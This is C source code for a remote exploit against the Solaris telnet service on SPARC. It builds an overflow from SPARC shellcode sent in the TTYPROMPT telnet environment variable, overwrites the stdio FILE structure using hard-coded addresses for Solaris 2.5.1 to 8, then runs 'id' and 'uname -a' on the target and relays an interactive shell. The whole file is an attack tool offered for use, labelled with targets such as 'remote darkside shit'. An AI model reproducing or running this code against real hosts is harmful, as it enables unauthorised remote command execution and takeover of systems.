#include <stdio.h> 
#include <string.h> 
#include <netdb.h> 
#include <unistd.h> 
#include <errno.h> 
#include <sys/socket.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <arpa/telnet.h> 

#ifdef SOLARIS 
typedef unsigned long u_int32_t; 
#endif 

#define BUFLEN 1024 

char shellcode[]= 
"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0" 
"\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4" 
"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08"; 

struct { 
char *name; 
unsigned long in_addr; 
unsigned long out_addr; 
} targets[] = { 
{ "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 }, 
{ "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44 }, 
{ "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c }, 
{ "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144 }, 
{ "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 }, 
{ "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90 }, 
{ "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920 }, 
{ "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247}, 
{ "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 }, 
{ NULL, 0 } 
}; 

void usage(char *p) 
{ 
int i; 

fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p); 
fprintf(stderr, "-t: target type (see below)\n"); 
fprintf(stderr, "-p: port to use (default: 23)\n"); 
fprintf(stderr, "-o: offset to use (default: 0)\n\n"); 

fprintf(stderr, "Target Types:\n"); 
for(i = 0; targets[i].name; i++) 
fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name, targets[i].in_addr, targets[i].out_addr); 

fprintf(stderr, "\n"); 
exit(0); 
} 

void die(char *msg) 
{ 
perror(msg); 
exit(errno); 
} 

u_int32_t get_ip(char *host) 
{ 
struct hostent *hp; 

if(!(hp = gethostbyname(host))){ 
fprintf(stderr, "cannot resolve %s\n", host); 
return(0); 
} 
return(*(u_int32_t *)hp->h_addr_list[0]); 
} 

int get_socket(char *target, int port) 
{ 
int sock; 
u_int32_t ip; 
struct sockaddr_in sin; 

if(!(ip = get_ip(target))) 
return(0); 

bzero(&sin, sizeof(sin)); 
sin.sin_family = AF_INET; 
sin.sin_port = htons(port); 
sin.sin_addr.s_addr = ip; 

if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) 
die("socket"); 
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) 
die("connect"); 
return(sock); 
} 

void send_wont(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = WONT; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
die("write"); 
return; 
} 

void send_will(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = WILL; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
die("write"); 
return; 
} 

void send_do(int sock, int option) 
{ 
char buf[3], *ptr=buf; 

*ptr++ = IAC; 
*ptr++ = DO; 
*ptr++ = (unsigned char)option; 
if(write(sock, buf, 3) < 0) 
die("write"); 
return; 
} 

void send_env(int sock, char *name, char *value) 
{ 
char buf[BUFLEN], *ptr = buf; 

*ptr++ = IAC; 
*ptr++ = SB; 
*ptr++ = TELOPT_NEW_ENVIRON; 
*ptr++ = TELQUAL_IS; 
*ptr++ = NEW_ENV_VAR; 
strncpy(ptr, name, BUFLEN-20); 
ptr += strlen(ptr); 
*ptr++ = NEW_ENV_VALUE; 
strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1); 
ptr += strlen(ptr); 
*ptr++ = IAC; 
*ptr++ = SE; 

if(write(sock, buf, (ptr - buf)) < 0) 
die("write"); 
return; 
} 

void do_negotiate(int sock) 
{ 
send_wont(sock, TELOPT_TTYPE); 
send_wont(sock, TELOPT_NAWS); 
send_wont(sock, TELOPT_LFLOW); 
send_wont(sock, TELOPT_LINEMODE); 
send_wont(sock, TELOPT_XDISPLOC); 
send_will(sock, TELOPT_LFLOW); 
send_will(sock, TELOPT_LINEMODE); 
send_wont(sock, TELOPT_OLD_ENVIRON); 
send_will(sock, TELOPT_NEW_ENVIRON); 
send_will(sock, TELOPT_BINARY); 
send_env(sock, "TTYPROMPT", shellcode); 
return; 
} 

void write_attack_buf(int sock, int type) 
{ 
char *attack_buf, *outbuf; 
int i, j; 
#ifdef SOLARIS 
char tmpbuf[64]; 
#endif 

if(!(attack_buf = (char *)calloc(BUFLEN*3, 1))) 
die("malloc"); 
if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){ 
free(attack_buf); 
die("malloc"); 
} 
if(write(sock, attack_buf, strlen(attack_buf)) < 0) 
die("write"); 

memset(attack_buf+100, '\t', 80); 

/* --- stdio FILE structure, top of _iob -- */ 

#ifdef SOLARIS 

*(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000); 
*(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr); 
*(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr); 
*(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000); 

*(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001); 
*(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr); 
*(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr); 
*(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a); 

memcpy(&attack_buf[2055], tmpbuf, 32); 
#else 

*(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000); 
*(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr); 
*(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr); 
*(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000); 

*(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001); 
*(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr); 
*(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr); 
*(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a); 

#endif 
/* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */ 
for(i = 0, j = 0; i < 3000; i++){ 
outbuf[j++] = attack_buf[i]; 
if(attack_buf[i] == '\xff') 
outbuf[j++] = '\xff'; 
if(attack_buf[i] == '\n') 
break; 
} 

if(write(sock, outbuf, j) < 0) 
die("write"); 

/* -- 2 reads for reading the garbage which screws up term -- */ 
if((j = read(sock, attack_buf, BUFLEN)) < 0) 
die("read"); 
if((j = read(sock, attack_buf, BUFLEN)) < 0) 
die("read"); 

free(attack_buf); 
free(outbuf); 
return; 
} 

int main(int argc, char **argv) 
{ 
int c, n, sockfd, type = 0, offset=0, port = 23; 
char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n"; 
fd_set rset; 

while((c = getopt(argc, argv, "t:o:p:")) != EOF){ 
switch(c){ 
case 't': 
type = atoi(optarg); 
if(type < 0 || type > sizeof(targets)){ 
fprintf(stderr, "invalid target type\n"); 
usage(argv[0]); 
} 
case 'o': 
offset = atoi(optarg); 
break; 
case 'p': 
port = atoi(optarg); 
break; 
} 
} 

if(!argv[optind] || !*argv[optind]) 
usage(argv[0]); 
if(!(sockfd = get_socket(argv[optind], port))) 
exit(-1); 
do_negotiate(sockfd); 

n = read(sockfd, buf, sizeof(buf)); 
write_attack_buf(sockfd, type); 
send_wont(sockfd, TELOPT_BINARY); 
sleep(1); 
read(sockfd, buf, sizeof(buf)); 
write(sockfd, shellstr, strlen(shellstr)); 

FD_ZERO(&rset); 
for(;;){ 
FD_SET(0, &rset); 
FD_SET(sockfd, &rset); 
if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0) 
die("select"); 

if(FD_ISSET(sockfd, &rset)){ 
bzero(buf, sizeof(buf)); 
if((n = read(sockfd, buf, sizeof(buf))) < 0) 
die("read"); 
if(n == 0){ 
printf("EOF\n"); 
exit(0); 
} 
write(1, buf, n); 
} 

if(FD_ISSET(0, &rset)){ 
bzero(buf, sizeof(buf)); 
if((n = read(0, buf, sizeof(buf))) < 0) 
die("read"); 
if(n == 0) 
exit(0); 
write(sockfd, buf, n); 
} 
} 
} 

